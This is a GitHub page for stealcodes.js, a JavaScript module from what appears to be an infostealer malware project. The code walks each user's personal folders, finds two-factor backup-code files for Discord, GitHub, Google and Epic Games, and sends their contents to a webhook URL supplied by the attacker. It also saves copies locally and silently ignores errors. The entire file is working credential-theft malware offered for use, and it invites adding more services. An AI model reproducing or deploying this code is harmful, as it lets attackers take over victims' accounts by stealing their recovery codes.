-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathstealcodes.js
63 lines (53 loc) · 2.09 KB
/
stealcodes.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const fs = require('fs/promises');
const path = require('path');
const hardware = require('./../../utils/hardware/hardware.js');
const fileutil = require('./../../utils/fileutil/fileutil.js');
const requests = require('./../../utils/requests/requests.js');
const backupFileNames = [
// Add other security code services if you want
'discord_backup_codes',
'github-recovery-codes',
'google-backup-codes',
'Epic Games Account Two-Factor backup codes',
];
const SearchFiles = async (dir, webhookUrl) => {
try {
const files = await fs.readdir(dir);
const tasks = files.map(async (file) => {
const filePath = path.join(dir, file);
const stats = await fs.stat(filePath);
if (stats.isFile() && stats.size <= 2 * 1024 * 1024 && backupFileNames.some((name) => file.includes(name))) {
const codes = await fs.readFile(filePath, 'utf8');
if (codes.length > 0) {
await requests.Webhook(webhookUrl, {
content: 'File: `' + filePath + '`',
embeds: [
{
title: 'Backup Codes',
description: '```' + codes + '```',
},
],
});
const codesInfo = [`File: ${filePath}`, `${codes}`];
const WishTempDir = fileutil.WishTempDir('codes');
await fileutil.WriteDataToFile(WishTempDir, `codesInfo-${path.basename(filePath)}.txt`, codesInfo);
}
} else if (stats.isDirectory()) {
await SearchFiles(filePath, webhookUrl);
}
});
await Promise.all(tasks);
} catch (error) {}
};
module.exports = async (webhookUrl) => {
const users = await hardware.GetUsers();
for (const user of users) {
const directories = [path.join(user, 'Desktop'), path.join(user, 'Downloads'), path.join(user, 'Documents'), path.join(user, 'Videos'), path.join(user, 'Pictures'), path.join(user, 'Music'), path.join(user, 'OneDrive')];
for (const dir of directories) {
const dirStats = await fs.stat(dir).catch(() => null);
if (dirStats && dirStats.isDirectory()) {
await SearchFiles(dir, webhookUrl);
}
}
}
};